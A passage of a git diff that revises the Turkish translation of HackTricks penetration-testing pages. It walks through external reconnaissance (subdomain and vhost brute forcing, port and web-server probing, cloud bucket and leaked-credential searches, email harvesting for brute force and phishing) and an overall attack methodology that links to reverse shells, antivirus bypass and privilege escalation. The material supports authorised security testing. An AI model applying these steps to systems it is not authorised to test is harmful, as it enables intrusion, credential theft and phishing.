`ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. **Assetfinder** -[**Assetfinder**](https://github.com/tomnomnom/assetfinder), bir ana alan adı ile **ilişkili alan adlarını** ve **alt alan adlarını** arayan bir araçtır, oldukça etkileyici. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder), bir ana alan adı ile ilişkili **alan adlarını** ve bunların **alt alan adlarını** arayan bir araçtır, oldukça etkileyici. ### **Zafiyet arama** -Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin. +Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetmiştir**. Bunu kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin. -Eğer bulduğunuz **alan adlarından farklı bir IP'ye sahip** herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ -&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Eğer bulduğunuz varlık keşfindeki IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları** bulabilirsiniz.\ +_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## Alt Alan Adları > Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alan adlarını biliyoruz. -Bulunan her alan adının tüm olası alt alan adlarını bulma zamanı. +Her bulunan alan adının olası tüm alt alan adlarını bulma zamanı. > [!TIP] > Alan adlarını bulmak için bazı araçların ve tekniklerin alt alan adlarını bulmaya da yardımcı olabileceğini unutmayın. ### **DNS** -**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu rapor etmelisiniz). +**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Bölge Transferi** için de denemeliyiz (Eğer savunmasızsa, bunu bildirmelisiniz). ```bash dnsrecon -a -d tesla.com ``` @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve geçerli alt alan adlarını aktif brute force kullanarak listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) asenkron olarak alan adlarını zorlamak için asyncio kullanır. +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) alan adlarını asenkron olarak zorlamak için asyncio kullanır. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -401,7 +401,7 @@ echo www | subzuf facebook.com ``` ### **Alt Alan Keşif İş Akışı** -Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım bu blog gönderisine göz atın, böylece bilgisayarımda bir dizi aracı manuel olarak başlatmam gerekmiyor: +Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım bu blog gönderisini kontrol edin, böylece bilgisayarımda bir dizi aracı manuel olarak başlatmam gerekmiyor: {{#ref}} https://trickest.com/blog/full-subdomain-discovery-using-workflow/ @@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / Sanal Ana Bilgiler** -Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**. +Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**. #### OSINT @@ -421,7 +421,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com **Brute Force** -Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile denemeyi düşünebilirsiniz: +Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -451,17 +451,17 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [** ### **Monitorization** -Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz**. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) bunu yapar. +Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz**. [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) bunu yapar. -### **Looking for vulnerabilities** +### **Güvenlik açıklarını arama** -Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ -Eğer **alt alan** bazı **S3 bucket**'larına **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/index.html). +Olası [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\ +Eğer **alt alan** bir **S3 bucket**'a işaret ediyorsa, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/index.html). -Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP'ye sahip herhangi bir alt alan** bulursanız, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ -&#xNAN;_Note, bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._ +Eğer keşif aşamasında bulduğunuz varlıkların IP'lerinden farklı bir **IP'ye sahip alt alan** bulursanız, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) yapmalısınız. **nmap/masscan/shodan** ile. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ +_Note edin ki bazen alt alan, müşterinin kontrolünde olmayan bir IP içinde barındırılmaktadır, bu nedenle kapsamda değildir, dikkatli olun._ -## IPs +## IP'ler Başlangıç aşamalarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\ Artık **bu aralıklardan tüm IP'leri toplama** ve **alan adları/alt alanlar için (DNS sorguları)** zamanı. @@ -472,7 +472,7 @@ Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve al Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek için [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kullanabilirsiniz. -### **Looking for vulnerabilities** +### **Güvenlik açıklarını arama** **CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir. @@ -486,8 +486,8 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin veriliyorsa**). -**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem burada bulunabilir](../pentesting-network/index.html#http-port-discovery).\ -Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz: +**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem**](../pentesting-network/index.html#http-port-discovery) burada bulunabilir.\ +Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -498,11 +498,11 @@ Artık **kapsamdaki tüm web sunucularını** (şirketin **IP'leri** ve tüm **a Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'i** kullanabilirsiniz. -Ayrıca, daha sonra **screenshot**'lar üzerinde çalışmak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar** içerebilecek olanları ve içermeyenleri belirleyebilirsiniz. +Ayrıca, ardından tüm **ekran görüntülerini** taramak için [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak **zayıf noktalar içerebilecek** olanları belirleyebilirsiniz. ## Kamu Bulut Varlıkları -Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan bir **anahtar kelime listesi** ile başlamalısınız. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +Bir şirkete ait potansiyel bulut varlıklarını bulmak için, o şirketi tanımlayan **anahtar kelimeler listesiyle başlamalısınız**. Örneğin, bir kripto şirketi için şu kelimeleri kullanabilirsiniz: `"crypto", "wallet", "dao", "", <"subdomain_names">`. Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine ihtiyacınız olacak: @@ -512,26 +512,26 @@ Ayrıca, **kova** içinde kullanılan **yaygın kelimelerin** kelime listelerine Sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](#second-dns-bruteforce-round) bölümüne bakın). -Elde edilen kelime listeleri ile [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** +Elde edilen kelime listeleriyle [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ve** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** Bulut Varlıkları ararken, **AWS'deki kovalardan daha fazlasını aramalısınız**. ### **Zayıf Noktaları Arama** -Açık kova veya maruz kalmış bulut işlevleri gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. +**Açık kova veya bulut işlevleri** gibi şeyler bulursanız, bunlara **erişmeli** ve size ne sunduklarını görmeli ve bunları kötüye kullanıp kullanamayacağınızı denemelisiniz. ## E-postalar -Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için** ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: +Kapsamdaki **alan adları** ve **alt alan adları** ile, **e-postaları aramaya başlamak için gereken her şeye** sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: -- [**theHarvester**](https://github.com/laramies/theHarvester) - API'ler ile +- [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle - [**https://hunter.io/**](https://hunter.io/) API'si (ücretsiz sürüm) - [**https://app.snov.io/**](https://app.snov.io/) API'si (ücretsiz sürüm) - [**https://minelead.io/**](https://minelead.io/) API'si (ücretsiz sürüm) ### **Zayıf Noktaları Arama** -E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** denemek için faydalı olacaktır. Ayrıca, **phishing** için de gereklidirler. Ayrıca, bu API'ler e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. +E-postalar, **web girişlerini ve kimlik doğrulama hizmetlerini** (SSH gibi) **kaba kuvvetle** kırmak için daha sonra işe yarayacaktır. Ayrıca, **phishing** için de gereklidir. Ayrıca, bu API'ler, e-posta sahibinin arkasındaki kişi hakkında daha fazla **bilgi** sağlayacaktır, bu da phishing kampanyası için faydalıdır. ## Kimlik Bilgisi Sızıntıları @@ -542,22 +542,22 @@ E-postalar, daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (S ### **Zayıf Noktaları Arama** -**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazançtır. +**Geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanımdır. ## Gizli Bilgi Sızıntıları -Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesi ile ilgilidir. Ancak, şirketler, bu veritabanlarında yer almayan **diğer sızıntılardan** da etkilenebilir: +Kimlik bilgisi sızıntıları, **hassas bilgilerin sızdırıldığı ve satıldığı** şirketlerin hacklenmesiyle ilgilidir. Ancak, şirketler, bu veritabanlarında olmayan **diğer sızıntılardan** da etkilenebilir: ### Github Sızıntıları Kimlik bilgileri ve API'ler, **şirketin** veya o github şirketinde çalışan **kullanıcıların** **açık havuzlarında** sızdırılabilir.\ -Bir **kuruluşun** ve onun **geliştiricilerinin** tüm **açık repolarını** **indirmek** için [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanabilir ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. +**Leakos** adlı aracı kullanarak bir **organizasyonun** ve onun **geliştiricilerinin** tüm **açık havuzlarını** **indirmek** ve bunlar üzerinde otomatik olarak [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. **Leakos**, bazen **web sayfalarının da gizli bilgiler içerebileceği** için, kendisine **verilen URL'ler** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. #### Github Dorks -Ayrıca, saldırdığınız kuruluşta arayabileceğiniz potansiyel **github dorks** için bu **sayfayı** kontrol edin: +Ayrıca, saldırdığınız organizasyonda arayabileceğiniz potansiyel **github dorks** için bu **sayfayı** kontrol edin: {{#ref}} github-leaked-secrets.md @@ -565,22 +565,22 @@ github-leaked-secrets.md ### Paste Sızıntıları -Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ -Aynı anda 80'den fazla paste sitesinde arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz. +Bazen saldırganlar veya sadece çalışanlar, **şirket içeriğini bir paste sitesinde** **yayınlayabilirler**. Bu, **hassas bilgiler** içerebilir veya içermeyebilir, ancak aramak için çok ilginçtir.\ +Birden fazla paste sitesinde aynı anda arama yapmak için [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanabilirsiniz. ### Google Dorks -Eski ama altın değerindeki google dorks, **orada olmaması gereken** **maruz kalmış bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) içinde manuel olarak çalıştıramayacağınız birkaç **binlerce** olası sorgu bulunmasıdır. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz. +Eski ama altın değerindeki google dorks, **orada olmaması gereken** **açık bilgileri** bulmak için her zaman faydalıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in, manuel olarak çalıştıramayacağınız birkaç **bin** olası sorgu içermesidir. Bu yüzden, en sevdiğiniz 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç** kullanabilirsiniz. -_Not: Tüm veritabanını düzenli Google tarayıcısı kullanarak çalıştırmayı bekleyen araçlar asla bitmeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ +_Not: Tüm veritabanını düzenli Google tarayıcısını kullanarak çalıştırmayı bekleyen araçlar asla sona ermeyecek, çünkü Google sizi çok kısa sürede engelleyecektir._ ### **Zayıf Noktaları Arama** -**Geçerli sızdırılmış** kimlik bilgileri veya API jetonları bulursanız, bu çok kolay bir kazançtır. +**Geçerli sızdırılmış** kimlik bilgileri veya API jetonları bulursanız, bu çok kolay bir kazanımdır. ## Kamu Kod Zayıflıkları -Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz. +Eğer şirketin **açık kaynak kodu** varsa, bunu **analiz edebilir** ve üzerinde **zayıf noktalar** arayabilirsiniz. **Dile bağlı olarak**, kullanabileceğiniz farklı **araçlar** vardır: @@ -588,28 +588,28 @@ Eğer şirketin **açık kaynak kodu** olduğunu bulduysanız, bunu **analiz ede ../../network-services-pentesting/pentesting-web/code-review-tools.md {{#endref}} -Ayrıca, **açık repoları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: +Ayrıca, **açık havuzları taramanıza** olanak tanıyan ücretsiz hizmetler de vardır: - [**Snyk**](https://app.snyk.io/) ## [**Web Pentesting Metodolojisi**](../../network-services-pentesting/pentesting-web/index.html) -**Hata avcıları tarafından bulunan zayıf noktaların** çoğunluğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/index.html). +**Hata avcıları tarafından bulunan** **zayıf noktaların** çoğu **web uygulamalarında** yer almaktadır, bu yüzden bu noktada bir **web uygulaması test metodolojisi** hakkında konuşmak istiyorum ve bu bilgiyi [**burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/index.html). -Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçları**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.** +Ayrıca, [**Web Otomatik Tarayıcıları açık kaynak araçlar**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) bölümüne özel bir atıfta bulunmak istiyorum, çünkü, çok hassas zayıf noktaları bulmalarını beklememelisiniz, ancak **ilk web bilgilerini elde etmek için iş akışlarına entegre etmekte faydalıdırlar.** ## Tekrar -> Tebrikler! Bu noktada **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla numaralandırma yapılabilir (daha fazla hile göreceğiz). +> Tebrikler! Bu noktada **tüm temel sayım işlemlerini** gerçekleştirdiniz. Evet, bu temel çünkü daha fazla sayım yapılabilir (daha fazla hile göreceğiz). -Yani, zaten şunları buldunuz: +Artık şunları buldunuz: 1. Kapsamdaki tüm **şirketleri** buldunuz 2. Şirketlere ait tüm **varlıkları** buldunuz (ve kapsamda bazı zayıflık taramaları gerçekleştirdiniz) 3. Şirketlere ait tüm **alan adlarını** buldunuz 4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan ele geçirme?) 5. Kapsamdaki tüm **IP'leri** (CDN'lerden ve **CDN'lerden olmayan**) buldunuz. -6. Tüm **web sunucularını** buldunuz ve bunların **ekran görüntülerini** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?) +6. Tüm **web sunucularını** buldunuz ve bunların bir **ekran görüntüsünü** aldınız (daha derin bir incelemeyi gerektiren garip bir şey var mı?) 7. Şirkete ait tüm **potansiyel kamu bulut varlıklarını** buldunuz. 8. **E-postalar**, **kimlik bilgisi sızıntıları** ve **gizli sızıntılar** size **çok kolay bir büyük kazanç** sağlayabilir. 9. Bulduğunuz tüm web sitelerini **pentest ettiniz** diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md index 5469f3343..4cbe5fa88 100644 --- a/src/generic-methodologies-and-resources/pentesting-methodology.md +++ b/src/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## Pentesting Metodolojisi
@@ -13,14 +12,14 @@ _Hacktricks logoları_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? **Fiziksel saldırılar hakkında bazı** [**ipuçlarını**](../hardware-physical-access/physical-attacks.md) ve **GUI uygulamalarından kaçış** hakkında diğerlerini okumalısınız. -### 1 - [Ağ içindeki hostları keşfetmek](pentesting-network/index.html#discovering-hosts)/ [Şirketin Varlıklarını Keşfetmek](external-recon-methodology/index.html) +### 1 - [Ağ içindeki hostları keşfetme](pentesting-network/index.html#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/index.html) -**Testin** **içsel veya dışsal** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (iç test) veya **şirketin internetteki varlıklarını bulmak** (dış test) ile ilgilenebilirsiniz. +**Testin** **içsel veya dışsal** olup olmadığına bağlı olarak, **şirket ağı içindeki hostları bulmak** (iç test) veya **şirketin internetteki varlıklarını bulmak** (dış test) isteyebilirsiniz. > [!NOTE] > Dışsal bir test yapıyorsanız, şirketin iç ağına erişim sağladıktan sonra bu kılavuzu yeniden başlatmalısınız. -### **2-** [**Ağ ile Eğlenmek**](pentesting-network/index.html) **(İçsel)** +### **2-** [**Ağ ile Eğlenme**](pentesting-network/index.html) **(İçsel)** **Bu bölüm yalnızca iç test yapıyorsanız geçerlidir.**\ Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmayı** veya **veri dinlemeyi** tercih edersiniz, böylece ağ içinde **pasif/aktif (MitM)** olarak neler bulabileceğinizi öğrenirsiniz. [**Pentesting Ağı**](pentesting-network/index.html#sniffing) okuyabilirsiniz. @@ -29,7 +28,7 @@ Bir hosta saldırmadan önce, belki de **ağdan bazı kimlik bilgilerini çalmay **Bir hostta zafiyet ararken** yapılacak ilk şey, hangi **servislerin hangi portlarda çalıştığını** bilmektir. [**Hostların portlarını taramak için temel araçlar**](pentesting-network/index.html#scanning-hosts) bakalım. -### **4-** [Servis versiyon açıklarını aramak](../generic-hacking/search-exploits.md) +### **4-** [Servis versiyon açıklarını arama](../generic-hacking/search-exploits.md) Hangi servislerin çalıştığını ve belki de versiyonlarını öğrendikten sonra, **bilinen zafiyetleri aramalısınız**. Belki şansınız yaver gider ve size bir shell verecek bir exploit bulursunuz... @@ -46,9 +45,9 @@ Ayrıca, [**yazılımlardaki bilinen zafiyetleri bulma**](../generic-hacking/sea #### 5.1 Otomatik Araçlar -Ayrıca **otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri notlarına dayanan bir araçtır.** +Ayrıca **otomatik zafiyet değerlendirmeleri** yapabilen birkaç araç da vardır. **Denemenizi öneririm** [**Legion**](https://github.com/carlospolop/legion)**, bu benim oluşturduğum ve bu kitapta bulabileceğiniz pentesting servisleri notlarına dayanan bir araçtır.** -#### **5.2 Brute-Force ile servisleri zorlamak** +#### **5.2 Brute-Force ile servisleri kırma** Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydalı olabilir. [**Farklı servislerin brute forcing için bir CheatSheet'ini buradan bulabilirsiniz**](../generic-hacking/brute-force.md)**.** @@ -56,11 +55,11 @@ Bazı senaryolarda **Brute-Force** bir **servisi** **tehdit etmek** için faydal Bu noktada ilginç bir zafiyet bulamadıysanız, **ağa girmek için bazı phishing denemeleri yapmanız** gerekebilir. Phishing metodolojimi [buradan](phishing-methodology/index.html) okuyabilirsiniz: -### **7-** [**Shell Elde Etmek**](../generic-hacking/reverse-shells/index.html) +### **7-** [**Shell Elde Etme**](../generic-hacking/reverse-shells/index.html) Bir şekilde, **kurban üzerinde kod çalıştırmanın** bir yolunu bulmuş olmalısınız. O zaman, [sistem içinde bir ters shell almak için kullanabileceğiniz olası araçların bir listesinin çok faydalı olacağını](../generic-hacking/reverse-shells/index.html) göreceksiniz. -Özellikle Windows'ta, **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.**\\ +Özellikle Windows'ta, **antivirüslerden kaçınmak için** biraz yardıma ihtiyacınız olabilir: [**Bu sayfayı kontrol edin**](../windows-hardening/av-bypass.md)**.** ### 8- İçeride @@ -78,40 +77,40 @@ Muhtemelen **kurbandan bazı verileri çıkarmanız** veya hatta **bir şeyler e #### **10.1- Yerel Privesc** -Eğer kutuda **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\ -Burada **Linux'ta** [**yerel ayrıcalıkları yükseltmek için bir kılavuz**](../linux-hardening/privilege-escalation/index.html) **ve** [**Windows'ta**](../windows-hardening/windows-local-privilege-escalation/index.html)** bulabilirsiniz.**\ -Ayrıca, **Windows'un nasıl çalıştığına dair** bu sayfaları kontrol etmelisiniz: +Eğer kutu içinde **root/Administrator** değilseniz, **ayrıcalıkları yükseltmenin** bir yolunu bulmalısınız.\ +Burada **Linux'ta** [**yerel ayrıcalıkları yükseltme**](../linux-hardening/privilege-escalation/index.html) ve **Windows'ta** [**yerel ayrıcalıkları yükseltme**](../windows-hardening/windows-local-privilege-escalation/index.html) için bir **kılavuz bulabilirsiniz.**\ +Ayrıca **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz: - [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html) - [**NTLM nasıl çalışır**](../windows-hardening/ntlm/index.html) -- Windows'ta [**kimlik bilgilerini çalmanın**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) yolları +- Windows'ta [**kimlik bilgilerini çalma**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) - [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) hakkında bazı ipuçları **Windows ve Linux yerel Ayrıcalık Yükseltme yollarını listelemek için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Alan Privesc** -Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji**](../windows-hardening/active-directory-methodology/index.html) bulabilirsiniz. Bu sadece bir bölümün alt bölümü olsa da, bu süreç **Pentesting/Red Team görevinde son derece hassas** olabilir. +Burada, [**Active Directory'de ayrıcalıkları listelemek, yükseltmek ve kalıcı hale getirmek için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/index.html). Bu sadece bir 